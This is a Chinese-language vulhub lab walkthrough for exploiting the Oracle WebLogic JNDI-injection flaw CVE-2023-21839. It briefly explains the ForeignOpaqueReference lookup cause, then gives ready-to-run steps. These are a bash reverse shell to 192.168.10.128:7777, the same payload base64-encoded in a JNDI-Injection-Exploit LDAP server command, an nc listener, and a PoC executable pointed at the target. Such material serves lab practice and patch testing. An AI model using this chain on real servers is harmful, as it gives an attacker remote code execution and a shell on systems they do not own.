原理
1、T3/IIOP协议支持
远程绑定对象
bind到服务端,而且可以通过lookup代码
c.lookup("xxxxxx");
查看
2、远程对象继承自OpaqueReference并lookup查看远程对象时,服务端会调用远程对象
getReferent
方法
3、由于 weblogic.deployment.jms.ForeignOpaqueReference继承自 OpaqueReference并实现getReferent方法,存在retVal =
context.lookup
(this.remoteJNDIName)实现,
所以能够通过RMI/LDAP远程协议进行远程命令执行
环境部署
1.进入靶场目录
cd /vulhub-master/weblogic/CVE-2023-21839
2.开启靶场【报错重启docker服务】
[root@localhost CVE-2023-21839]# docker-compose up -d
3.查看靶场端口
[root@localhost CVE-2023-21839]# docker ps
4.访问靶场
192.168.10.5:7001
漏洞利用
1.生成指定格式payload
bash -i >& /dev/tcp/192.168.10.128/7777 0>&1
转换网站:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
2.kali启动LDAP服务器,指定payload。复制JDK连接地址
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
3.kali监听本机 7777 端口
nc -lvp 7777
4.windows主机向漏洞服务器发送poc
CVE-2023-21839.exe -ip 192.168.10.5 -port 7001 -ldap ldap://192.168.10.128:1389/lodgjh